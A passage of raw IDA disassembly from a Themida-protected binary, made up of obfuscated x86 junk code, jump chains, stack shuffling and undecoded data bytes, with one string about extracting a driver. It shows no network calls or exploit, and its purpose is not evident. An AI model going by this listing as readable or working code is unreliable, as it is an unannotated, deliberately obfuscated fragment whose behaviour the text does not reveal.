sub esp, 4 mov [esp], esi jmp loc_565CDC ; --------------------------------------------------------------------------- loc_56B5B5: ; CODE XREF: Themida_:0056383Cj pop edx or edx, eax jmp loc_5620B2 ; --------------------------------------------------------------------------- loc_56B5BD: ; CODE XREF: Themida_:00558933j mov esi, 3E0F6F3Bh sub esi, 22C33C0Eh js loc_56D662 neg esi jno loc_55B3AA and esi, 43011CC9h jb loc_56B7F7 loc_56B5E2: ; CODE XREF: Themida_:00563E9Dj jmp loc_5562E7 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 0C681E689h, 4, 4EE81h, 34870000h, 4661E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B606: ; CODE XREF: Themida_:00568E86j pop esp mov [esp], ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp push eax mov eax, 4 sub ebx, eax jmp loc_56C14E ; --------------------------------------------------------------------------- loc_56B622: ; CODE XREF: Themida_:0056BA23j xor si, 1295h mov di, si push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_565988 ; --------------------------------------------------------------------------- dw 8950h dd 0C1ABE9E0h, 0EE81FFFEh, 2E987D68h, 194ACE81h, 0BE92C6Fh dd 5EFFFF4Ch, 4BFFB850h, 1505760Eh, 52BC75CBh, 71B66856h dd 815E2714h, 244C0EF6h, 24EE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B67E: ; CODE XREF: Themida_:0055707Bj pop ebp mov ecx, [esp] add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] shr eax, 0Ah xor eax, ecx push 4FD8h jmp loc_558AF7 ; --------------------------------------------------------------------------- dd 5087B252h, 0E4800BB4h, 0C03CE97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B6AE: ; CODE XREF: Themida_:0055F6B4j mov ebp, 0B884D2CAh add edi, ebp pop ebp jmp loc_56C235 ; --------------------------------------------------------------------------- loc_56B6BB: ; CODE XREF: Themida_:005582E4j ; Themida_:0055E762j ... push esi mov esi, esp jmp loc_5633F5 ; --------------------------------------------------------------------------- loc_56B6C3: ; CODE XREF: Themida_:0055BE77j xor [esp], ebx jmp loc_5635A7 ; --------------------------------------------------------------------------- loc_56B6CB: ; CODE XREF: Themida_:0055E1BDj inc edi jle loc_558527 not edi add edi, 8DCA0AB6h mov eax, edi jmp loc_55972A ; --------------------------------------------------------------------------- db 55h, 0E9h, 0EDh db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B6E7: ; CODE XREF: Themida_:0055A996j add esi, 4 jmp loc_55A456 ; --------------------------------------------------------------------------- dw 0F681h dd 57914AB4h, 0FF021FE9h db 0FFh ; --------------------------------------------------------------------------- loc_56B6FD: ; CODE XREF: Themida_:005594CAj jno loc_55E6CB sub edi, 2A817336h mov edx, ecx mov esi, eax loc_56B70D: ; CODE XREF: Themida_:005582A5j push ebp mov ebp, 38360265h jmp loc_55FE6E ; --------------------------------------------------------------------------- loc_56B718: ; CODE XREF: Themida_:0056A8C2j add ebx, 61E67BD5h add edi, ebx pop ebx add edi, 21A1692Bh push dword ptr [esp] jmp loc_55F0B1 ; --------------------------------------------------------------------------- db 81h dd 8F26A9EEh, 5EF701F2h, 0E95FFB29h, 0FFFEC28Eh ; --------------------------------------------------------------------------- loc_56B740: ; CODE XREF: Themida_:0055F18Cj dec eax jmp loc_5652F3 ; --------------------------------------------------------------------------- loc_56B746: ; CODE XREF: Themida_:0055BD57j mov esp, [esp] push 46Bh mov [esp], ebx push ecx push eax jmp loc_569571 ; --------------------------------------------------------------------------- loc_56B758: ; CODE XREF: Themida_:0056BDB0j add esp, 4 jmp loc_566026 ; --------------------------------------------------------------------------- loc_56B760: ; CODE XREF: Themida_:00566AAEj pop ecx xchg eax, [esp] jmp loc_559380 ; --------------------------------------------------------------------------- loc_56B769: ; CODE XREF: Themida_:00566D55j or edx, 7FC20EC2h jmp loc_56244E ; --------------------------------------------------------------------------- loc_56B774: ; CODE XREF: Themida_:0055ABFEj mov ebx, esp sub esp, 4 mov [esp], ebp mov ebp, 661A43h add ebp, 0FF99E5C1h push edx push ebp mov ebp, 0D5B7857h jmp loc_563483 ; --------------------------------------------------------------------------- loc_56B793: ; CODE XREF: Themida_:005637F4j add edi, ebp jmp loc_55E952 ; --------------------------------------------------------------------------- dw 48E9h db 0ABh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56B79F: ; CODE XREF: Themida_:0055948Ej push esp pop edx push 3D4h mov [esp], ebp push 2090h jmp loc_558B3E ; --------------------------------------------------------------------------- loc_56B7B3: ; CODE XREF: Themida_:0055DEECj mov edx, 2 add edi, edx jmp loc_559AE3 ; --------------------------------------------------------------------------- loc_56B7BF: ; CODE XREF: Themida_:0055E576j push ebp mov ebp, 7A6F7B3Bh shr ebp, 8 jmp loc_5679BB ; --------------------------------------------------------------------------- loc_56B7CD: ; CODE XREF: Themida_:0055D93Bj xchg esi, [esp] pop esp push 5D1Ah mov [esp], ebp jmp loc_56B22F ; --------------------------------------------------------------------------- dw 0DEF7h dd 0C485830Fh, 0BB53FFFFh, 52AA5978h, 5BBAE381h, 0D9E95A74h db 0FFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56B7F7: ; CODE XREF: Themida_:loc_55715Bj ; Themida_:0056B5DCj inc esi jmp loc_559DA8 ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 55h dd 30689EBDh, 89C58129h, 0E90DBC3Ah, 0FFFF6267h ; --------------------------------------------------------------------------- loc_56B810: ; CODE XREF: Themida_:0055C596j mov esi, esp push edx mov edx, 31132A0Ah sub edx, 31132A06h jmp loc_563DCB ; --------------------------------------------------------------------------- loc_56B823: ; CODE XREF: Themida_:00559F82j mov esp, [esp] jmp loc_55C83C ; --------------------------------------------------------------------------- loc_56B82B: ; CODE XREF: Themida_:005636F6j xor ebp, edi pop edi add edx, ebp jmp loc_559C38 ; --------------------------------------------------------------------------- loc_56B835: ; CODE XREF: Themida_:0056AA8Bj inc edx jmp loc_563CAE ; --------------------------------------------------------------------------- db 68h dd 7188h, 54243489h, 8124348Bh, 4C4h, 4C68100h, 0E9000000h dd 0FFFFDEADh dword_56B858 dd 0E95366ACh, 0FFFEB733h, 0B40DD0F7h, 0F71BDB0Bh, 81DF2DD8h ; DATA XREF: Themida_:005561B0o dd 0C6291D50h, 5EF00158h, 770E9h db 0 ; --------------------------------------------------------------------------- loc_56B879: ; CODE XREF: Themida_:0055E5FDj push ebp push 15FDh jmp loc_5661F1 ; --------------------------------------------------------------------------- dd 5E08950h, 4, 42Dh, 74FF5000h, 48B0424h, 4C48124h, 0E9000000h dd 0FFFFAFE4h, 8B243487h, 0CFE92424h db 6Eh, 2 dup(0FFh) byte_56B8AF db 68h ; DATA XREF: Themida_:005560A4o dd 7F06h, 89241C89h, 4C381E3h, 57000000h, 0FF62D0E9h, 243C89FFh dd 667A65BFh, 0C59AE975h, 0E952FFFEh, 0FFFF1B6Eh ; --------------------------------------------------------------------------- loc_56B8D8: ; CODE XREF: Themida_:00564F0Cj pop edi add eax, edx mov edx, [esp] add esp, 4 mov ebx, [esp] push esi mov esi, esp add esi, 4 push ecx mov ecx, 4 add esi, ecx mov ecx, [esp] jmp loc_55D935 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 81000000h, 6D43C5C5h, 0E9C52923h, 0FFFFF506h ; --------------------------------------------------------------------------- loc_56B910: ; CODE XREF: Themida_:0056BA44j push esi mov esi, 49A34418h push ebp jmp loc_557B7D ; --------------------------------------------------------------------------- loc_56B91C: ; CODE XREF: Themida_:00567C86j mov eax, 0B2825C82h mov esi, eax pop eax add ebp, esi pop esi jmp loc_5656D5 ; --------------------------------------------------------------------------- loc_56B92C: ; CODE XREF: Themida_:0056031Cj push ecx mov ecx, 619D3713h push edi jmp loc_55ACFC ; --------------------------------------------------------------------------- loc_56B938: ; CODE XREF: Themida_:0056A7A2j neg esi shl esi, 1 xor esi, 99CBC5B6h sub edx, esi pop esi push 3257h mov [esp], esi jmp loc_55A199 ; --------------------------------------------------------------------------- loc_56B952: ; CODE XREF: Themida_:005678BBj mov [esp], ebp mov ebp, 124B7D41h sub ebx, ebp pop ebp sub esp, 4 mov [esp], ecx mov ecx, 627D2636h and ecx, 62BF5BE8h inc ecx jmp loc_56B9B1 ; --------------------------------------------------------------------------- dd 83242489h, 5B042404h, 0FF0B11E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B981: ; CODE XREF: Themida_:0055CE26j pop ecx dec ebx jmp loc_565FCD ; --------------------------------------------------------------------------- dd 3107BD55h, 0C381911Dh, 44706C5Ch, 0FF5D7EE9h, 0A949E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56B99E: ; CODE XREF: Themida_:loc_55866Fj sub esi, 1F580B19h mov ebx, esi push dword ptr [esp] mov esi, [esp] jmp loc_556E3D ; --------------------------------------------------------------------------- loc_56B9B1: ; CODE XREF: Themida_:0056B96Fj push ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 push eax mov eax, 1 jmp loc_568F26 ; --------------------------------------------------------------------------- loc_56B9C6: ; CODE XREF: Themida_:005686DDj mov ecx, 192D6472h shl ecx, 4 xor ecx, 0B2ED13DDh mov ebp, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 106E4ED6h shr edi, 6 push ebx jmp loc_5684DC ; --------------------------------------------------------------------------- loc_56B9F3: ; CODE XREF: Themida_:00568F7Fj pop ecx push ebp mov ebp, esp jmp loc_56125C ; --------------------------------------------------------------------------- dd 69B6C281h, 8F0F7441h, 1ADAh, 48AE281h, 58E97954h db 0C2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56BA13: ; CODE XREF: Themida_:0055BED3j mov cx, 0ADF5h push di push esi mov si, 10C3h or si, 0D60h jno loc_56B622 xor si, 1295h mov di, si push dword ptr [esp] loc_56BA34: ; CODE XREF: Themida_:00563C5Bj neg edx jz loc_56708A jmp loc_568581 ; --------------------------------------------------------------------------- loc_56BA41: ; CODE XREF: Themida_:0056475Aj pop esi neg eax jge loc_56B910 push esi mov esi, 49A34418h push ebp jmp loc_56B3E8 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9241C89h, 0FFFFB092h ; --------------------------------------------------------------------------- loc_56BA64: ; CODE XREF: Themida_:0055E104j push esi mov esi, esp jmp loc_56D461 ; --------------------------------------------------------------------------- loc_56BA6C: ; CODE XREF: Themida_:00556682j sub ebx, 11F00578h xor ebx, 4DC14FBh mov edx, ebx pop ebx mov ebx, edx jmp loc_56D505 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0ED810000h, 4, 8B242C87h, 3C892424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp push 6664h mov [esp], ebp mov ebp, 4 add [esp+4], ebp mov ebp, [esp] add esp, 4 mov edi, [esp] add esp, 4 add edi, 4 jmp loc_5636BA ; --------------------------------------------------------------------------- dw 8158h dd 3F6A1BF5h, 0A04EE935h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BAE6: ; CODE XREF: Themida_:0056CA8Bj pop edx pop edx jmp loc_55EC89 ; --------------------------------------------------------------------------- loc_56BAED: ; CODE XREF: Themida_:00559FC9j shr edx, 1 shl edx, 1 sub edx, 4BB00883h shl edx, 8 push ebx push esi jmp loc_562516 ; --------------------------------------------------------------------------- loc_56BB01: ; CODE XREF: Themida_:0055E491j jz loc_56396C push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp add edi, 4 push esi mov esi, 12A24D9Eh xor esi, 51B74DBBh xor esi, 3A915448h sub esi, 79845469h add edi, esi pop esi xchg edi, [esp] pop esp jmp loc_55C58D ; --------------------------------------------------------------------------- loc_56BB40: ; CODE XREF: Themida_:0055D416j add esp, 4 shr eax, 5 and eax, offset aErrorWhileExtr ; "Error while extraction the driver" xor eax, offset byte_5320C1 jmp loc_556A6A ; --------------------------------------------------------------------------- loc_56BB58: ; CODE XREF: Themida_:00566157j xor cl, 31h sub dh, cl pop ecx jmp loc_55DF24 ; --------------------------------------------------------------------------- loc_56BB63: ; CODE XREF: Themida_:0055B663j sub esp, 4 mov [esp], eax jmp loc_55F779 ; --------------------------------------------------------------------------- loc_56BB6E: ; CODE XREF: Themida_:0056669Cj xor edi, 0DE5C2F72h push ecx mov ecx, 54B63A93h add edx, ecx jmp loc_55E61F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0F8E95758h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BB8B: ; CODE XREF: Themida_:005696D9j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5651B4 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 94D5E955h, 34E9FFFFh, 81FFFEA7h, 96AD84C7h dd 5FFD01FFh, 0FF9C2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56BBC1: ; CODE XREF: Themida_:00556E50j push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 5478h mov [esp], ecx push esp pop ecx jmp loc_5615F9 ; --------------------------------------------------------------------------- loc_56BBE6: ; CODE XREF: Themida_:00557821j xchg ebx, [esp] jmp loc_55B2EA ; --------------------------------------------------------------------------- loc_56BBEE: ; CODE XREF: Themida_:00567F35j sub al, 9Eh jmp loc_567F97 ; --------------------------------------------------------------------------- loc_56BBF5: ; CODE XREF: Themida_:005577D4j ; Themida_:00564195j add edx, 4 xchg edx, [esp] pop esp push esi push ecx pop esi pop ecx not esi sub esi, 389313D1h and eax, esi mov esi, [esp] push eax push esp pop eax push edx mov edx, 6DEF0C6Fh xor edx, 4EAC0335h shl edx, 3 jmp loc_556767 ; --------------------------------------------------------------------------- loc_56BC27: ; CODE XREF: Themida_:0056843Fj pop edi mov ecx, ebp jmp loc_560615 ; --------------------------------------------------------------------------- db 5Dh dd 0FF9BC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56BC35: ; CODE XREF: Themida_:005594C3j inc ecx sub ecx, 650D66FCh mov ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 17377A1Eh jnp loc_55C90E sub ebx, 0FFFFFFFFh sub esp, 4 mov [esp], edi mov edi, 658072h xor ebx, edi jmp loc_560843 ; --------------------------------------------------------------------------- loc_56BC68: ; CODE XREF: Themida_:00565E33j push eax mov eax, esp push 2122h mov [esp], ecx push eax push ebp mov ebp, 7B164E12h xor ebp, 7B164E16h mov eax, ebp pop ebp mov ecx, eax jmp loc_559545 ; --------------------------------------------------------------------------- loc_56BC8A: ; CODE XREF: Themida_:0055BE2Aj add ecx, 681A26F0h and esi, ecx push dword ptr [esp] pop ecx push 7DBFh jmp loc_562A03 ; --------------------------------------------------------------------------- loc_56BCA0: ; CODE XREF: Themida_:0055F853j push edi mov edi, 62136C94h add ecx, 68040351h add ecx, edi jmp loc_55EF7B ; --------------------------------------------------------------------------- loc_56BCB3: ; CODE XREF: Themida_:005647C9j shl bl, 3 add bl, 1 sub bl, 81h add al, 0BBh sub al, bl jmp loc_567A59 ; --------------------------------------------------------------------------- loc_56BCC5: ; CODE XREF: Themida_:0055FDDEj pop esp sub esp, 4 mov [esp], ebx push ecx mov ecx, 783C127Ah mov ebx, ecx jmp loc_56A689 ; --------------------------------------------------------------------------- loc_56BCDC: ; CODE XREF: Themida_:0056D235j mov edi, [esp] add esp, 4 mov ebx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_565DC5 ; --------------------------------------------------------------------------- dword_56BCF8 dd 8B2434FFh, 89512404h, 2ABA52E1h, 817C0767h, 0E4620C2h ; DATA XREF: Themida_:0055601Co dd 43B3E91Dh, 4058FFFFh, 0C042850Fh, 0E951FFFEh, 0FFFF31FCh dd 0F1E9F089h, 41FFFF91h db 5Fh ; --------------------------------------------------------------------------- loc_56BD29: ; CODE XREF: Themida_:00561B54j mov esi, [esp] add esp, 4 push esi push esp jmp loc_55D9E5 ; --------------------------------------------------------------------------- loc_56BD36: ; CODE XREF: Themida_:00558685j ; Themida_:005607C1j push 30F1h mov [esp], edi mov edi, 7A65EE50h jmp loc_56501B ; --------------------------------------------------------------------------- loc_56BD48: ; CODE XREF: Themida_:0055B44Dj ; Themida_:0055B97Aj add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_560EB8 ; --------------------------------------------------------------------------- loc_56BD59: ; CODE XREF: Themida_:0055E3B6j shr edx, 4 push edi mov edi, 5FED1EC4h jmp loc_558744 ; --------------------------------------------------------------------------- db 57h dd 0B2225CBFh, 1D5AE96Dh, 0B252FFFFh, 0BEE28078h, 0FF238CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56BD7D: ; CODE XREF: Themida_:00566911j pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56BD92: ; CODE XREF: Themida_:0056AC2Aj xor edx, 5244384Dh add edx, 0D850A86Bh xor esi, edx pop edx push 4CFAh mov [esp], edi mov edi, esi mov ebp, edi mov edi, [esp] jmp loc_56B758 ; --------------------------------------------------------------------------- loc_56BDB5: ; CODE XREF: Themida_:00569677j add eax, 70A2087Ch sub eax, ebp sub eax, 70A2087Ch push ebx mov ebx, 2BAA6119h sub eax, 33FF376Ah sub eax, ebx jmp loc_55C832 ; --------------------------------------------------------------------------- db 0Fh dd 0FEFBC584h, 0A1CB81FFh, 810D917Ch, 0BA4CD6EBh, 8CAFE94Ch dd 9B68FFFFh, 0E9000056h, 0FFFEB2B4h, 0EC815B66h, 2, 24348966h dd 3EC4BE66h, 1A940566h, 0FF707DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56BE0D: ; CODE XREF: Themida_:0056C9B2j jmp loc_556DD4 ; --------------------------------------------------------------------------- dd offset dword_457444+17D24h dw 8900h dd 9DBF243Ch, 3101ED13h, 0B8505FFEh, 0F19DBB24h, 0FF11CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_56BE2D: ; CODE XREF: Themida_:00566870j or ebx, 42F4611Fh jno loc_55A5EC jmp loc_556527 ; --------------------------------------------------------------------------- dw 2C89h dd 58C68A24h ; --------------------------------------------------------------------------- loc_56BE44: ; CODE XREF: Themida_:loc_56636Bj inc ecx jz loc_5585F1 neg ecx ja loc_566B33 push edx mov edx, 7DE00BCEh shl edx, 7 sub edx, 28C21EC4h neg edx not edx sub edx, 9ECFFF1Fh sub ecx, edx pop edx mov edx, ecx jmp loc_56672B ; --------------------------------------------------------------------------- loc_56BE76: ; CODE XREF: Themida_:005578DFj sub esi, 0FFFFFFFFh jmp loc_561A00 ; --------------------------------------------------------------------------- loc_56BE7E: ; CODE XREF: Themida_:0055AC23j jp loc_5597FA xchg eax, ebx not eax xchg eax, ebx or ebx, 3C031EECh push edx loc_56BE8F: ; CODE XREF: Themida_:00562F93j mov ecx, [esp] add esp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_56C4C9 ; --------------------------------------------------------------------------- loc_56BEAC: ; CODE XREF: Themida_:005612F9j xchg ebp, [esp] pop esp shl ebx, 1 or ebx, 4D36108Ch shl ebx, 5 xor ebx, 0AB395793h sub eax, ebx jmp loc_55E0CC ; --------------------------------------------------------------------------- loc_56BEC8: ; CODE XREF: Themida_:0056C37Cj sub al, bl sub al, 20h mov ebx, [esp] push esi mov esi, esp add esi, 4 jmp loc_55A0E5 ; --------------------------------------------------------------------------- loc_56BEDD: ; CODE XREF: Themida_:00566133j push edx jmp loc_563C9E ; --------------------------------------------------------------------------- loc_56BEE3: ; CODE XREF: Themida_:0055EFEDj sub eax, ebx pop ebx jmp loc_55A630 ; --------------------------------------------------------------------------- db 81h dd 456930E9h, 0BF575836h, 2, 335FF901h, 85E9240Ch db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BF03: ; CODE XREF: Themida_:0055A7B8j sub ah, dh jmp loc_560178 ; --------------------------------------------------------------------------- loc_56BF0A: ; CODE XREF: Themida_:0055E4EEj push ebp jmp loc_55B991 ; --------------------------------------------------------------------------- loc_56BF10: ; CODE XREF: Themida_:0055A2EFj sub esi, ebp jmp loc_55B986 ; --------------------------------------------------------------------------- loc_56BF17: ; CODE XREF: Themida_:005615C6j add ebx, 61CA1018h add ebx, 16D24E0Ch push ebp mov ebp, 507E55D6h neg ebp dec ebp sub ebp, 52D64D68h inc ebp jmp loc_55E2C1 ; --------------------------------------------------------------------------- loc_56BF38: ; CODE XREF: Themida_:0055A9D0j mov [esp], ebx mov ebx, 2 jmp loc_56690F ; --------------------------------------------------------------------------- loc_56BF45: ; CODE XREF: Themida_:00561DF9j push eax sub esp, 4 mov [esp], ebx push eax mov eax, 3AFE7CF6h mov ebx, 5B326883h xor ebx, eax pop eax add ebx, 420D293Ah jmp loc_560312 ; --------------------------------------------------------------------------- dd 5C243C87h, 68243C89h, 3306h, 83242489h, 0E9042404h dd 0FFFFB620h ; --------------------------------------------------------------------------- loc_56BF80: ; CODE XREF: Themida_:00556918j xor edi, 2A423FD1h sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5654FC ; --------------------------------------------------------------------------- loc_56BFA7: ; CODE XREF: Themida_:0055F1E4j mov ch, 0C5h jmp loc_563FEC ; --------------------------------------------------------------------------- loc_56BFAE: ; CODE XREF: Themida_:005699D2j mov edi, 0FFFFFFFFh sub edx, edi pop edi add edx, 3792159Ch jmp loc_569C9F ; --------------------------------------------------------------------------- db 0E9h, 6Dh, 0DCh db 0FEh, 0FFh word_56BFC6 dw 8B66h ; DATA XREF: Themida_:00556058o dd 0EC83240Ch, 241C8904h, 0FF593AE9h, 1C281FFh, 50000000h dd 7B3397B8h, 58C229E1h, 0AE0E9h, 4D0F6800h, 1C890000h dd 7609E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BFF6: ; CODE XREF: Themida_:0055C236j pop esi add ecx, esi jmp loc_565AAD ; --------------------------------------------------------------------------- loc_56BFFE: ; CODE XREF: Themida_:00557994j add edx, eax add edx, 442A1881h mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_5610EB ; --------------------------------------------------------------------------- loc_56C01A: ; CODE XREF: Themida_:0056390Bj mov [esp], esi push edi mov edi, 4B5D433Bh push 1B73h mov [esp], eax push esi push 75756F3Bh pop esi xor esi, 30EF6E25h or esi, 44220942h not esi add esi, 9B893F97h push ecx mov ecx, esi mov eax, ecx pop ecx pop esi inc eax jz loc_5593D5 xor eax, 6E5B1E03h push eax not dword ptr [esp] jmp loc_55DA11 ; --------------------------------------------------------------------------- dw 34FFh dd 0C3E4E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56C06A: ; CODE XREF: Themida_:005647A3j push edi mov edi, 2ADF4F1Ah mov ebx, edi pop edi mov edi, 427D29A4h add edi, ebx pop ebx shl edi, 2 jmp loc_5630B9 ; --------------------------------------------------------------------------- loc_56C083: ; CODE XREF: Themida_:00559804j push eax mov eax, 200F68A1h shr eax, 3 inc eax shl eax, 8 jmp loc_562115 ; --------------------------------------------------------------------------- loc_56C095: ; CODE XREF: Themida_:00569744j add esp, 4 push 3A97h jmp loc_56B329 ; --------------------------------------------------------------------------- loc_56C0A2: ; CODE XREF: Themida_:005652EEj dec ebx dec ebx push ebp jmp loc_564DEE ; --------------------------------------------------------------------------- loc_56C0AA: ; CODE XREF: Themida_:00558DC1j xor al, 8Dh sub dl, al pop eax sub dl, 68h jnz loc_55A526 add dl, 5Bh jmp loc_55F0D0 ; --------------------------------------------------------------------------- dd 56BAC1C6h ; --------------------------------------------------------------------------- loc_56C0C4: ; CODE XREF: Themida_:005574DBj mov edx, 702550BDh add edx, 3A4A190Ah jo loc_562E9F push eax mov eax, 667CF69Dh sub edx, eax pop eax push esi add cl, 0FEh loc_56C0E2: ; CODE XREF: Themida_:00557327j add esi, 22515F7Bh and ebp, esi pop esi jmp loc_56364D ; --------------------------------------------------------------------------- loc_56C0F0: ; CODE XREF: Themida_:00561AD2j jmp loc_557C55 ; --------------------------------------------------------------------------- loc_56C0F5: ; CODE XREF: Themida_:005647F7j pop esi push ecx push ebp mov ebp, 2 push ecx mov ecx, esp jmp loc_56D549 ; --------------------------------------------------------------------------- loc_56C105: ; CODE XREF: Themida_:00569C63j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56C10A: ; CODE XREF: Themida_:0055956Dj pop esp mov [esp], eax xor [esp], ecx jmp loc_56708A ; --------------------------------------------------------------------------- loc_56C116: ; CODE XREF: Themida_:00557793j add bh, 0D8h add al, bh pop ebx jmp loc_567735 ; --------------------------------------------------------------------------- byte_56C121 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00556264o db '$hъ',7,0 align 2 dw 489h dd 53E08924h, 6A0AEEBBh, 840F4301h, 0FFFFA265h, 0B539E94Bh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56C142: ; CODE XREF: Themida_:0055C281j pop ebx jmp loc_565F27 ; --------------------------------------------------------------------------- loc_56C148: ; CODE XREF: Themida_:00557496j push edx jmp loc_56AE33 ; --------------------------------------------------------------------------- loc_56C14E: ; CODE XREF: Themida_:0056B61Dj pop eax push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_56D2AE ; --------------------------------------------------------------------------- loc_56C15D: ; CODE XREF: Themida_:0055AB83j mov ecx, [esp] push ecx jmp loc_562CFC ; --------------------------------------------------------------------------- loc_56C166: ; CODE XREF: Themida_:005661B2j pop ecx add ebx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_55AD56 ; --------------------------------------------------------------------------- db 31h, 1Ch, 24h dd 8B241C33h, 0C1832424h, 240C3304h, 33240C31h, 0F5C240Ch dd 4D68C8BFh, 8900006Bh, 77E9240Ch db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C1A3: ; CODE XREF: Themida_:00562871j add ebx, 2B607C5Dh jmp loc_567ADA ; --------------------------------------------------------------------------- loc_56C1AE: ; CODE XREF: Themida_:0055BB1Fj ; Themida_:0056C5E4j push edx mov edx, 26E61BB6h push 0D919E44Ch pop ebp add ebp, edx pop edx add ebx, ebp pop ebp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] shr al, 1 push ebx mov bh, al jmp loc_55D49E ; --------------------------------------------------------------------------- loc_56C1D6: ; CODE XREF: Themida_:00562FD3j mov [esp], edi mov edi, 4 sub eax, 28280FFDh add eax, edi add eax, 28280FFDh pop edi xor eax, [esp] jmp loc_5591E3 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0F757E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56C1FE: ; CODE XREF: Themida_:0055985Fj mov esp, [esp] div cx sub esp, 4 mov [esp], ebx jmp loc_55E69F ; --------------------------------------------------------------------------- loc_56C20F: ; CODE XREF: Themida_:00562178j add esi, eax jmp loc_5617BE ; --------------------------------------------------------------------------- loc_56C216: ; CODE XREF: Themida_:0056D6C2j add cl, 0D2h pop bx push eax mov al, cl mov bl, al jmp loc_564916 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0D104C483h, 1C683EEh, 0FF6598E9h db 0FFh ; --------------------------------------------------------------------------- loc_56C235: ; CODE XREF: Themida_:0056B6B6j xor eax, edi mov edi, [esp] jmp loc_55ED6F ; --------------------------------------------------------------------------- loc_56C23F: ; CODE XREF: Themida_:00568193j sub ebx, 11373C83h sub ebx, 73813DF1h jmp loc_56B1E8 ; --------------------------------------------------------------------------- loc_56C250: ; CODE XREF: Themida_:00559CE2j sub ecx, ebx mov ebx, [esp] add esp, 4 push edi jmp loc_55BC73 ; --------------------------------------------------------------------------- loc_56C261: ; CODE XREF: Themida_:loc_55DFEDj ; Themida_:0055EF17j sub [esp+4], ebx pop ebx pop eax sub esp, 4 mov [esp], edi jmp loc_5662E3 ; --------------------------------------------------------------------------- byte_56C275 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00556124o dd 1858669Dh, 0E99C2404h, 0FFFEA063h ; --------------------------------------------------------------------------- loc_56C284: ; CODE XREF: Themida_:0056AFA9j jnz loc_560360 push eax push edi jmp loc_55E1AB ; --------------------------------------------------------------------------- loc_56C291: ; CODE XREF: Themida_:00564F1Ej inc ebp or ebp, 7C18454Ah dec ebp add ebp, 533D65E2h sub eax, ebp pop ebp sub ebp, 75496132h add ebp, eax add ebp, 75496132h pop eax sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_5624B6 ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 48704E8h, 97E95C24h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C2DF: ; CODE XREF: Themida_:0056118Bj add eax, 4 xchg eax, [esp] pop esp shl ecx, 4 neg ecx jnz loc_55A271 push 2C8h mov [esp], eax push edx mov edx, 3EBB3FECh push edx loc_56C300: ; CODE XREF: Themida_:0056B027j push 3938h mov [esp], edi push esp pop edi jmp loc_565E1F ; --------------------------------------------------------------------------- loc_56C30F: ; CODE XREF: Themida_:0056AB76j add al, cl push dword ptr [esp] pop ecx add esp, 4 xor bl, al push ecx mov ecx, esp jmp loc_55E591 ; --------------------------------------------------------------------------- dw 0D5F7h dd 0FF3965E9h, 53E958FFh db 86h, 2 dup(0FFh) ; 